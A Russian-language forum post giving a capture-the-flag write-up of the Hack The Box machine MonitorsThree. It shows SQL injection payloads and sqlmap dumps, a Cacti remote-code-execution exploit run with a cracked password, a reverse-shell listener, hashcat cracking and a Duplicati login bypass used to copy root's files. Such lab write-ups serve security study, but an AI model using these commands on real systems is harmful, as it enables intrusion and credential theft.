• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем SQL-инъекцию и бэкап Duplicati при атаке на веб-сервер

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,181
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В сегодняшнем райтапе мы проведем атаку на веб‑сервер, используя SQL-инъекцию и ошибку в веб‑приложении Cacti. На сервере найдем учетные данные и повысим привилегии через создание бэкапа при помощи программы Duplicati.
Наша цель — получение прав суперпользователя на машине MonitorsThree с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.30 monitorsthree.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел два интересных нам открытых порта:
  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Nginx 1.18.0.
В логах сканера видно, что с 80-го порта выполняется редирект на домен monitorsthree.htb.

Для просмотра ссылки Войди или Зарегистрируйся

Точка входа​

На сайте есть форма логина, а также возможность сбросить пароль.

Для просмотра ссылки Войди или Зарегистрируйся
В них можно поискать возможности для инъекций, но давай сначала закончим с разведкой. Следующий шаг — сканирование сайта на предмет интересных каталогов и файлов.

Справка: сканирование веба c ffuf​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -u — URL;
  • -H — HTTP-заголовок.
Место перебора помечается словом FUZZ.
Задаем все параметры и запускаем ffuf:

ffuf -u [URL]http://monitorsthree.htb/[/URL] -H 'Host: FUZZ.monitorsthree.htb' -w subdomains-top1million-110000.txt -t 128
Для просмотра ссылки Войди или Зарегистрируйся
Утилита пошла выводить все варианты из словаря, поэтому нужно задать фильтр, например по размеру ответа (параметр -fs).

ffuf -u Для просмотра ссылки Войди или Зарегистрируйся -H 'Host: FUZZ.monitorsthree.htb' -w subdomains-top1million-110000.txt -t 128 -fs 13560
Для просмотра ссылки Войди или Зарегистрируйся
Так находим еще один поддомен. Обновляем запись в файле /etc/hosts и смотрим сайт через браузер.

10.10.11.30 monitorsthree.htb cacti.monitorsthree.htb
Для просмотра ссылки Войди или Зарегистрируйся
Перед нами система Cacti. Это опенсорсная платформа для оперативного мониторинга. Здесь же мы узнаём версию — 1.2.26 — и можем сразу проверить, есть ли для нее готовые эксплоиты.

Для просмотра ссылки Войди или Зарегистрируйся
В этой версии есть уязвимость Для просмотра ссылки Войди или Зарегистрируйся, которая позволяет импортировать свой шаблон и таким образом получить удаленное выполнение кода. По Для просмотра ссылки Войди или Зарегистрируйся можно понять, что для эксплуатации требуется авторизация, а учетных данных у нас пока нет.

Для просмотра ссылки Войди или Зарегистрируйся
Вернемся на первый сайт и проверим формы авторизации и смены пароля базовыми нагрузками. Так, нагрузка admin' or 1=1 -- - вернет «хороший» ответ, а нагрузка admin' and 1=2 -- - — «плохой».

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся

Точка опоры​

В браузере переходим в режим разработчика и копируем в один файл сначала запрос на сервер, а затем передаваемые данные.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Теперь передаем файл в sqlmap и ждем, пока утилита подберет нагрузку для сайта.

sqlmap -r req.txt --batch
Для просмотра ссылки Войди или Зарегистрируйся
Теперь получим базы данных на сервере (параметр --dbs). Sqlmap будет использовать найденную ранее нагрузку.

sqlmap -r req.txt --batch --dbs
Для просмотра ссылки Войди или Зарегистрируйся
Нас интересует база данных monitorsthree_db. Так как получение данных идет очень долго, сразу попробуем запросить информацию из столбцов username и password (параметр -C) таблицы users (параметр -T).

sqlmap -r req.txt --batch -D monitorsthree_db -T users -C username,password --dump
Для просмотра ссылки Войди или Зарегистрируйся
Отправляем хеши на Для просмотра ссылки Войди или Зарегистрируйся и добываем пароль для учетной записи admin.

Для просмотра ссылки Войди или Зарегистрируйся
С полученными учетными данными успешно авторизуемся на сайте.

Для просмотра ссылки Войди или Зарегистрируйся

Cacti RCE​

Те же учетные данные подошли к CMS Cacti.

Для просмотра ссылки Войди или Зарегистрируйся
Так как у нас теперь есть авторизованный доступ, мы можем заюзать найденную ранее уязвимость с помощью Для просмотра ссылки Войди или Зарегистрируйся. Попробуем выполнить команду id.

python3 CVE-2024-25641.py -u admin -p greencacti2001 -x id Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Команда успешно отработала, а значит, через RCE можно выполнить реверс‑шелл. Я сгенерировал реверс‑шелл онлайновой утилитой Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем листенер:

pwncat-cs -lp 4321
И выполняем реверс‑шелл в формате Base64. Почти сразу получаем сессию пользователя www-data.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Так как на хосте работают несколько веб‑приложений, первым делом проверяем учетные данные в базе данных. Учетные данные для подключения к ней получим из файла /include/config.php.

Для просмотра ссылки Войди или Зарегистрируйся
Подключаемся к базе cacti и дампим логины и хеши из таблицы user_auth.

Код:
mysql -u cactiuser -p
use cacti;
select username,password from user_auth;
Для просмотра ссылки Войди или Зарегистрируйся
Отправляем на брут хеш пользователя marcus и спустя несколько секунд получаем очень легкий пароль.

hashcat -m3200 '$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK' rockyou.txt
Для просмотра ссылки Войди или Зарегистрируйся
Пользователь marcus зарегистрирован в системе, поэтому логинимся от его имени с помощью su и получаем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и начнем сканирование. Следом смотрим, что интересного нашлось.

У текущего пользователя есть приватный ключ SSH. Его мы, конечно, забираем и получаем полноценную командную оболочку.

Для просмотра ссылки Войди или Зарегистрируйся
На адресе 127.0.0.1 прослушивается несколько портов, в том числе интересный 8200.

Для просмотра ссылки Войди или Зарегистрируйся
В каталоге /opt есть директории разных сервисов.

Для просмотра ссылки Войди или Зарегистрируйся
Просмотрим, что за сайт на порте 8200. Чтобы открыть его в браузере, сначала придется прокинуть порт на свой хост с помощью SSH.

ssh -i id_rsa [EMAIL]marcus@monitorsthree.htb[/EMAIL] -L 8200:127.0.0.1:8200
Таким образом весь трафик, который мы пошлем на локальный порт 8200, будет туннелирован на порт 8200 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можно посмотреть сайт через браузер.

Для просмотра ссылки Войди или Зарегистрируйся

Duplicati — клиент‑серверная программа для резервного копирования. Duplicati позволяет бэкапить шифрованные и сжатые копии локальных файлов на облачные службы хранения и удаленные файловые серверы. Директория сервиса была в каталоге /opt.

Для просмотра ссылки Войди или Зарегистрируйся

Duplicati auth bypass​

Так как исходники Duplicati открыты, мы можем найти и просмотреть уязвимости и исправления на GitHub. Так находим подробное Для просмотра ссылки Войди или Зарегистрируйся уязвимости обхода авторизации.

Для просмотра ссылки Войди или Зарегистрируйся
Раз у нас есть доступ к локальному каталогу Duplicati, мы можем получить значение server-passphrase из таблицы Option базы данных приложения и обойти авторизацию.

Для просмотра ссылки Войди или Зарегистрируйся
А теперь перекодируем полученное значение server-passphrase из Base64 в Hex.

echo Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= | base64 -d | xxd -p -c 256
Для просмотра ссылки Войди или Зарегистрируйся
Переходим к странице логина и ловим запрос авторизации в Burp Proxy. Первый запрос на получение session-nonce пропускаем, а вот тот, где отправляется зашифрованный пароль, оставляем.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Открываем панель разработчика в браузере и в окне отладки JavaScript выполняем небольшой скрипт, где используем значение session-nonce из запроса. Получаем валидный зашифрованный пароль.

Код:
var session_nonce = .... ;
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse(session_nonce) + saltedpwd)).toString(CryptoJS.enc.Base64);
noncedpwd
Вставляем полученный пароль в перехваченный запрос и в браузере видим страницу администратора Duplicati.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Duplicati file backup​

Теперь попробуем сделать резервную копию каталога рута. Переходим на страницу «Добавить резервную копию» и выбираем «Настройка новой резервной копии».

Для просмотра ссылки Войди или Зарегистрируйся
На первом шаге задаем имя и выбираем параметр «Без шифрования».

Для просмотра ссылки Войди или Зарегистрируйся
На втором шаге указываем каталог, куда будет сохранена резервная копия. Я выбрал домашний каталог текущего пользователя.

Для просмотра ссылки Войди или Зарегистрируйся
На шаге 3 выбираем файлы, бэкап которых нужно сделать. Пусть это будет флаг рута.

Для просмотра ссылки Войди или Зарегистрируйся
Остальные шаги оставляем по умолчанию.

Для просмотра ссылки Войди или Зарегистрируйся
После настройки резервного копирования переходим на главную страницу, выбираем нашу настройку и запускаем ее. В домашнем каталоге пользователя найдем архивы Duplicati.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Проверяем архивы и находим скопированный файл рута.

Для просмотра ссылки Войди или Зарегистрируйся

Машина захвачена, и мы можем получить любые данные из системы.
 
Activity
So far there's no one here
Сверху Снизу